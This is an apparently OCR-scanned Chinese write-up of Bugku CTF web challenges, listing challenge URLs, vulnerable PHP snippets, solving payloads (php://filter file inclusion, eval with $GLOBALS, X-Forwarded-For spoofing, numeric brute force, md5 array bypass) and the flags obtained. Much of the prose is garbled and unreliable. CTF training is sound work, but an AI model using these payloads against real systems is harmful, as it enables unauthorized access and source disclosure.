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0x02 it & 2%

B H HE B http://123.206.87.240:8002/yanzhengma/
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0x03 webZ:li$_GET

FELH B hitp://123.206.87.240:8002/get/
FiLH 4 AR

$what=$_GET[ 'what'];
echo $what;
if($what=="Fflag")
echo 'flag{****}';

=B EiE®Aget)s ft —A 2 BwhatfE {5 what=flag
payload

*what=flag
flag:flag{bugku_get_su8kej2en}

0x04 webZ: Al $_POST

BB http://123.206.87.240:8002/post/
73 E 45 1A

$what=$ POST[ 'what'];
echo $what;
if($what=="Fflag")
echo 'flag{****}';

FREE R AL — 2 BwhatffifBwhat=flag, i postlsik
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POST http://123.206.87.240:8002/post/ HTTP/1.1

2.9 8] i £ POSTk #R# 35 4#& =X 75 B

Content-Type: application/x-www-form-urlencoded

3 B0 #E ¥R rwhat=flag

what=flag
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Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex
|POST http://123.206.87.240:8002/post/ HTTP/1.1 |/ [ HTTP/1.1 200 OK [
Host: 123.206.87.240:8002 Server: nginx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0 Date: Tue, 06 Aug 2019 01:51:16 GMT
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;,q=0.8 Content-Type: text/html
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Connection: close
Accept-Encoding: gzip, deflate Content-Length: 126
Connection: close
Cookie: PHPSESSID=ulr /| i gt o B — $what=$ POST['what'];<br>
[Content-Type: application/x-www-form-urlencoded | echo $what;<br>
Upgrade-Insecure-Requests: 1 if(Swhat=="flag") <br>
Cache-Control: max-age=0 \ echo ‘flag{****}';<br>
Content-Length: 9 -
— flagflag{bugku_get ssseint67se}

flag:flag{bugku_get_ssseint67se}
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RLH #E$E: hitp://123.206.87.240:8002/get/index1.php
L H 4 A

$num=$_GET[ "num'];
if(!is_numeric($num))

{

echo $num;
if($num==1)
echo 'flag{**********}';

}
laflag{bugku-789-ps-ssdf}
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payload

’num=1a
flag:flag{bugku-789-ps-ssdf}
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;&#125;
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Response

| J Raw[ Headers [ Hex [ HTML [ Render‘
T[ Content-Length: 630

O<html>

<head>

<meta charset="utf-8">

<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="description" content="">

<meta name="author" content="">

<title>Dummy game</title>

</head>

<script language="JavaScript">
function myrefresh(){
window.location.reload();

}
setTimeout('myrefresh()’,500);
</script>

<body>

<center> <strong>1 want to play Du
stop!</strong> </center>

y game with others£jBut | can't

<center>Stop at panda ! u will gét flag</center>

<center> <div><img src:> </div> </center><br><a
style="display:none" >flag{dummy game 1s sO popular}</a></body>
</html>
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25 |7\ \THT| |?\ Tvpe a search term G matche

HEHI10.jpgEl 7] F Blflag
flag:flag{dummy_game_1s_s0_popular}
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http://123.206.87.240:8002/web12/
http://123.206.87.240:8003/

<?php
error_reporting(0);

include 'flag.php';

$a = @_REQUEST['hello'];
eval(" var_dump( $a );");
highlight_file(__ FILE_ );
?>

O0x0a &1

B E B http://123.206.87.240:8004/index1.php
3 H 44 ARG 34 i #2nflag In the variable

<?php

error_reporting(0);
include "flagl.php";
highlight file(__file_ );
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/"\w+$/",$args)){
die("args error!");
¥
eval("var_dump($$args);"

?>

BRRgetliiEEN— 1S args, BANBFREFE, HITENH$Sargs, XERHAS

phpth FFAEAI LR, —MREBNZRBAFWLUISSHIREMNER, BEEWRargskiE Na, XHE$Sarg=%a, FTENHKKREZEa
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payload

?args=GLOBALS

flag:flag{92853051ab894a64f7865cf3c2128b34}
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R H BERE: hitp:/123.206.87.240:8002/web5/
BERY, RIFE<div>A — BB
HHIBIF121EH G, BRI Eflag(k5)
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& “ctf{whatfk}" v

flag:CTF{WHATFK}
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BLH B http://123.206.87.240:9009/hd.php
HRYE B H 45k K E W flag 7E Sk S

A, FEmE RSk 3k Blflag
flag:flag{Bugku_k8_23s_istra}
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A H B hitp://123.206.87.240:8002/webshell/
A —T 5 &7 L5 Bshell.php
B FE RN
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WebShell

F % 7 SUR B — TR A% 1S Ahack, #5158 3flag
flag: flag{hack_bug_ku035}
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http://123.206.87.240:9009/hd.php
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R E B8 http:/123.206.31.85:1003/

F127] LA%E El— 4 base64 L KI{5 B
dGVzdDEyMw==

fRRSJE N test123

BATVAH P 4 ~admin, #9 Ntest1 23 % fhiiR s %

EERRER

Username: admin

Password:

Submit Reset

IPEEIETIE), BEREAMEEREM, IPEWICR.

A, 1B X-Forwarded-For:127.0.0.1 , &kif5flag

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*,q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Referer: http://123.206.31.85:1003/

X-Forwarded-For:127.0.0.1

Content-Type: application/xM
Content-Length: 23

Connection: close

Upgrade-Insecure-Requests: 1

user=admin&pass=test123

flag:flag{85ff2ee4171396724bae20c0bd851f6b}.

0x0f web4

B BE#E: http://123.206.87.240:8002/web4/
HEIEG

Request Response
Raw| Params | Headers | Hex [Raw] Headers | Hex [HTML |Render |
POST / HTTP/1.1 t </head>
Host: 123.206.31.85:1003 <body>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0 <h1>48 $ EEEHEGE0</h1>

<form method="POST" autocomplete="off">
<p>Username: <input type="text" name="user" id="user"> </p>
<p>Password: <input type="password" name="pass" id="pass"> </p>

o

<font style="color:#FF0000"> <h3>The flag is:
85ff2ee4171396724bae20c0bd851f6b </h3> <br\> </font\>
</body>

</html>

<p>

<input type="submit" value="Submit"/>
<input type="reset" value="Reset"/>
</p>

</form>



http://123.206.31.85:1003/
http://123.206.87.240:8002/web4/

var pl = '%66%75%6€%63%74%69%61%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%7 2%20%61%3d%64%61%63%75%6d
%65%6€%74%2e%67%65%74%A5%6 C%65%6d%65%6€%7 4%42%7 9%A49%64%28%22%70%61%7 3%7 3%77%6T%7 2%64%22%29%3b%69%66%28%22%7 5%6 €%
64%65%66%69%6€%65%64%22%21%3d%74%79%70%65%61%66%20%61%29%7b%69%66%28%22%36%37%64%37%30%39%62%32%62" ;

var p2 = '%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%61%6C%75%65%29%7 2%65%74%75%7 2
%6€%21%30%3b%61%6C%65%72%74%28%22%A5%7 2%7 2%6F%7 2%22%29%3b%61%2e%66%6T%63%75%7 3%28%29%3b%7 2%65%74%75%7 2%6€%21%31%
7d%7d%64%61%63%75%6d%65%6e%74%2e%67%65%74%A5%6 C%65%6d%65%6€%74%42%7 9%A9%64%28%22%6 C%65%76%65%6 C%51%75%65%7 3%74%2
2%29%2e%61%6e%73%75%62%6d%69%74%3d%63%68%65%63%6b%53%75%62%6d%69%74%3b " ;

eval(unescape(pl) + unescape( '%35%34%61%61%32"' + p2));

A TKep1, "%35%34%61%61%32', p2iI AR urffid f5 Bk, A2 ARG

function checkSubmit()
{

var a=document.getElementById("password");
if("undefined" !=typeof a)
{if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)
return!o;
alert("Error");
a.focus();
return!l

}

}
document.getElementById("levelQuest").onsubmit=checkSubmit;

SHTARILJE, ¥ 67d709b2b54aa2aa648cf6e87a7114F1 By ANFK B, EIA 78 Fflag
flag: KEY{J22JK-HS11}

0x10 flag7E index &

B . htip://123.206.87.240:8005/post/
FHAclick me? no, EATAE—T, RIurlBET

http://123.206.87.240:8005/post/index.php?file=show.php

W B XHREIRIF, W payload#& &index.php HI RIS
payload

?file=php://filter/read=convert.base64-encode/resource=index.php

&

Fl| PGhobWw+DQogICAgPHRpdGX1PkJ1Z2t1LWNOZjwvdG1ObGU+DQogICAgDQo8P3BocABKCWVYcmIyX311cG9ydGluzygwKTsNCglpzighIFOHR
VRbZmlsZVepe2VjaG8gIzxhIGhyZWY9IidvaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG11PyBubzwvYT4n030NCgkkZmlsZTOkX0dFV
FsnZmlsZSddOwoKCWImKHNOcnNOcigkZmlsZSwili4vIil8fHNOcm1lzdHIoJIGZpbGUsSICIOcCIpfHxzdHIpc3RyKCRmaWx1LCIpbnB1dCIpfHxzd
HIpc3RyKCRmaWx1LCIKYXRhIikpewdKCQ11lY2hvICIPaCBubyEiOwOKCQ1l1leG1OKCk7DQoIfQOKCWIuY2x1ZGUoJGZpbGUpOYyANCi8vZmxhZzpmb
GFne2VkdWxjbmlfZWxpZ19sYWNvbF9zaV9zaWhofQoOKPz4NCjwvaHRtbDANCg==

#1Tbaseb4 i )5, 5%


http://123.206.87.240:8005/post/

<html>
<title>Bugku-ctf</title>

<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$ GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
¥
include($file);
//flag:flag{edulcni_elif Llacol_si_siht}
?>
</html>

flag:flag{edulcni_elif_lacol_si_siht}

0x11 I A Z S A Fflag

BLH B http://123.206.87.240:8002/baopo/
BERMARMEFL, ulDi % HitRbaopo, ERBATEM
Bt 531, burp#pwd it N2 B

payload#tyNumbers, From 10000 To 99999 Step 1

! \E Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined
customized in different ways.

Payload set: |1 H Payload count: 90,000

Payload type: lNumbers H Request count: 90,000

1| 2 | Payload Options [Numbers]
] This payload type generates numeric payloads within a given range and in a specified format.

§ Number range

; Type: @ Sequential © Random
From: 10000

! To: 99999

] Step: 1

| How many:

Number format

&JE AT MG B %9 913579
B\ 5 Bpe] 18 Blflag
flag:flag{bugku-baopo-hah}

x12 5i—EAK


http://123.206.87.240:8002/baopo/

B H ¥ hitp://123.206.87.240:9001 /test/
HE I

var clicks=0
$(function() {
$("#cookie")

.mousedown (function() {
$(this).width('350px").height('350px");

1)

.mouseup(function() {
$(this).width('375px").height('375px");
clicks++;
$("#clickcount").text(clicks);
if(clicks >= 1000000){

var form = $('<form action=

'<input type="text" name="clicks" value="
"</form>");
$('body"').append(form);
form.submit();
}
1)
1)

SH—T, BAIAFTEPOST—Aclicks, E KT 1000000547 T

+ clicks +

method="post">"' +

'" hidden/>"' +

Go | Cancel (< |v| >|v

Request
Raw]| Params [Lisasers¥Fies]

Target: http://123.206.87.240:9001 | ¢ B

Response

POST http://123.206.87.240:9001/test/ HTTP/1.1 [
Host: 123.206.87.240:9001

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*,q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type:application/x-www-form-urlencoded

Connection: close

Cookie: PHPSESSID=u233p16kqg6msk0rOn70vejem9015m18

Upgrade-Insecure-Requests: 1

Content-Length: 14

clicks=1000001

flag:flag{Not_CO0O0kI3CI1ck3r}

0x13 & 43 AN F I 15}

AR H 8 http://123.206.87.240:8002/web 16/

JRawl Headers { Hex ] HTML ] Render ‘

body{
background-color: black;

}

img{
display: block;
margin: 0 auto;

}

#flag{

color: white;

text-align: center;
display: block;

</style>

<head>
<meta charset="utf-8"
<meta name="viewport" content="width=device-width, initial-scale=1">
<script src="jquery-3.2.1.min js"> </script>
<title> mEFE—BFIR</title>

</head>

<body>
<h1id="goal">Goal: <span id="clickcount">
<img id="cookie" src="cookie.png">
<span id="flag">flag{Not_COOkI3Cl1ck3r}</span>

</body>

<script>

an>/1000000</h1>

%A SR 408 bak

BATVEindex.php el BLIE# V1A, 7EJGTH N L .bak, BPA]F#Rindex.php &4 S04
payload

index.php.bak

EiFis


http://123.206.87.240:9001/test/
http://123.206.87.240:8002/web16/

<?php
/**
* Created by PhpStorm.
* User: Norse
* Date: 2017/8/6
* Time: 20:22
&7

include_once "flag.php";
ini_set("display_errors", 0);

$str = strstr($ SERVER[ 'REQUEST URI'], '?');
$str = substr($str,1);

$str = str_replace('key',"'"',$str);
parse_str($str);

echo md5($keyl);

echo md5($key2);
if(md5($keyl) == md5($key2) && $keyl !== $key2){
echo $flag."Hif3flag";

?>

BT — T, RS KkeyB Az, AT LA HkekeyykEeid

RIGERBAVMAFAN T FE keyl. key2, HERMAIVIMASEME, 7 AFHERmASE H0eFF kikeyld, Bi#H BE#HfE ANkeyl.
key2 4

payload

?kkeyeyl[ ]=188&kkeyey2[ ]=2

flag:Bugku{OH_YOU_FIND_MY_MOMY}
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